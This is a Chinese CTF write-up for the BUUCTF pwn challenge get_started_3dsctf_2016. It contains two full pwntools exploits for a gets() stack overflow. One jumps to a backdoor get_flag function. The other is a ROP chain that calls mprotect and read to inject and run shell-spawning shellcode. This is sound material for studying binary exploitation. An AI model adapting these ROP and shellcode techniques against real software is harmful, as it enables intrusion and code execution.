32位,开启了NX保护
执行效果:
main函数:
其中gets()函数存在栈溢出,溢出距离为0x38,这里是使用的esp寻址,属于外平栈,不需要覆盖ebp的四个字节。而之前做的题一般都是ebp寻址,属于内平栈,因此需要覆盖ebp。详细可见buu get_started_3dsctf_2016 关于内平栈和外平栈-CSDN博客
查看后门函数get_flag():
这里有两种解题方法:
第一种
该方法的详细解题思路参考:BUUCTF-get_started_3dsctf_2016 - -ro0t - 博客园 (cnblogs.com)
gets使得我们可以输入任意字节数据。我们把ret_addr处给覆盖为后门函数get_flag(a1,a2)的地址0x080489A0
但是这个后门函数要求两个参数必须是指定值814536271和425138641才可以拿到flag,对应十六进制形式为0x308CD64Fh和0x195719D1h
同时使用fopen打开文件时,程序必须要正常退出才会有回显,因此需要使用exit函数来正常退出
32位程序payload=offset + 函数地址 + 返回地址(一定得是exit函数的地址)+ 参数
exit函数的地址为0x0804E6A0
最终可用的exp如下:
from pwn import *
io = remote("node5.buuoj.cn",25076)
payload = b'a'*56
payload += p32(0x080489A0) + p32(0x0804E6A0)
payload += p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)
io.interactive()
执行结果如下,可以成功打通得到flag:
第二种
该方法的详细解题思路参考:
今天你pwn了吗(上) - FreeBuf网络安全行业门户
get_started_3dsctf_2016 - 不会修电脑 - 博客园 (cnblogs.com)
函数列表中可以看到存在mprotect函数
这里可以利用mprotect函数修改指定内存段为可执行,再注入shellcode从而可以执行shellcode得到flag
一般利用过程,来自大模型的回答:
对应的利用payload思路如下,参考自BUUCTF-get_started_3dsctf_2016 - -ro0t - 博客园 (cnblogs.com):
payload1= b"A"0x38+p32(mprotect地址,跳转到函数执行)+p32(gadget,mprotect需要三个参数,我们可以查找合适的gadget)+p32(memaddr,被修改的内存地址)+p32(0x100,被修改的内存大小)+p32(0x7,内存权限rwx,二进制111,也就是7)+p32(read,返回到read函数地址)+p32(memaddr,read函数的返回地址)+p32(0,read函数的参数1)+p32(memaddr,read函数的参数2)+p32(0x100,read函数的参数3)+p32(memaddr,指向修改的内存地址)
参考构造流程如下:
垃圾数据–>mprotect函数地址–>三个连续的pop地址–>.got.plt表起始地址–>内存长度–>内存权限–>read函数–>三个连续的pop地址–>read函数的三个参数–> .got.plt表的起始位置
具体构造流程如下:
1、首先利用gets函数造成溢出,让程序跳转到mprotect函数去执行
获取mprotect函数地址的两种方法:
(1)直接IDA中查找
(2)通过ELF获取,对应exp片段为
elf = ELF(./get_started_3dsctf_2016)
mprotect_addr = elf.symbols[‘mprotect’]
2、利用mprotect函数将目标地址改为可读可写可执行
详细参见:PWN 利用mprotect函数进行.got.plt地址段的读取
(1)确定mprotect函数的三个参数值
首先确定可用的内存
这里有两种方法,感觉pwndbg的方法更靠谱一些
第一种是使用pwndbg查找可用地址
参考今天你pwn了吗(上) - FreeBuf网络安全行业门户
get_started_3dsctf_2016 - 不会修电脑 - 博客园 (cnblogs.com)
第二种是直接在IDA中查找,crtl+s调出程序的段表,这里还不太清楚怎么去选择可用的程序段,看很多博客都是直接用的.got.plt的起始位置
第二个参数为内存的长度,这里能写入shellcode就可以,设置为0x100
第三个参数为内存的权限,这里设置为7(4+2+1),代表可读可写可执行
(2)确定gadget
因为mprotect函数需要传入三个地址,返回地址覆盖需要三个连续的pop地址,使用ROPgadget来获取地址:
ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop
帖子里说在这里面查出来的一大串里面选一个就可以,这里选择0x080509a5
参考帖子:PWN 利用mprotect函数进行.got.plt地址段的读取
以上思路示例的exp如下,与题解无关:
# 0x0806fcc8 : pop esi ; pop ebx ; pop edx ; ret
# 0x08050b45 : pop ebx ; pop esi ; pop edi ; ret
pop3_addr = 0x08050b45 # 三个连续的pop地址,查出来选一个就行了
got_plt_addr = 0x080EB000 # .got.plt表的起始地址
got_plt_size = 0x100 # 内存长度
got_plt_type = 0x7 # 内存权限,读写执行
payload = b'a' * 0x2D + p32(elf.symbols['mprotect']) # 进行栈溢出,将mprotect函数的地址填入返回地址处
payload += p32(pop3_addr) # 三个连续的pop地址
payload += p32(got_plt_addr) + p32(got_plt_size) + p32(got_plt_type) # mprotect的三个参数
3、mprotect函数返回地址填上read函数地址,利用read函数将shellcode读入程序段
(1)read函数地址
IDA直接查找
或者ELF获取:
elf = ELF(./get_started_3dsctf_2016)
mprotect_addr = elf.symbols[‘read’]
(2)确定read函数的三个参数:
read函数原型如下
这里第一个参数设为0,第二个参数设置为我们上面使用mprotect函数修改的内存地址,第三个参数设置为0x100
因为read函数也有三个参数要设置,我们就可以继续借用上面mprotect中找到的有3个寄存器的ret指令
(3)将read函数的返回地址设置为要写入的内存地址,同时传入pwntools生成的shellcode
到这里我们已经完成了修改内存为可读可写可执行,将程序重定向到修改的内存地址,接下来只需要传入shellcode即可:
r.sendline(asm(shellcraft.sh()))
完整的exp如下,增加了注释描述:
from pwn import *
elf = ELF('./get_started_3dsctf_2016')
r=remote('node5.buuoj.cn', 25697)
pop3_ret = 0x080509a5 # 三个连续的POP地址,ROPgadget查询
mem_addr = 0x80EB000 # 可用的内存,vmmap查询或使用.got.plt表的起始地址
mem_size = 0x1000 # 被修改内存的大小
mem_proc = 0x7 # 被修改内存的权限,7为可读可写可执行
mprotect_addr = elf.symbols['mprotect'] # mprotect函数的地址
read_addr = elf.symbols['read'] # read函数的地址
# 利用mprotect函数将目标地址修改为可读可写可执行
payload = b'A' * 0x38 # 覆盖到返回地址的距离,因为是外平栈,因此不需要覆盖ebp的4个字节
payload += p32(mprotect_addr) # 进行栈溢出,返回地址为mprotect函数的地址
payload += p32(pop3_ret) # 三个连续的POP地址,ROPgadget查询
payload += p32(mem_addr) # 被修改内存的起始地址
payload += p32(mem_size) # 被修改内存的大小
payload += p32(mem_proc) # 被修改内存的权限
# 利用read函数将shellcode读入程序段
payload += p32(read_addr) # mprotect的返回地址填上read函数的地址
payload += p32(pop3_ret) # 三个连续的POP地址,和mprotect函数使用的一样
payload += p32(0) # read函数第一个入参,0表示从输入端读取内容
payload += p32(mem_addr) # 写入的内存地址
payload += p32(0x100) # 写入的内存长度
payload += p32(mem_addr) # 将read函数的返回地址设置为要写入的内存地址
r.sendline(payload)
payload = asm(shellcraft.sh()) # pwntools生成的shellcode
r.sendline(payload)
r.interactive()
执行结果如下: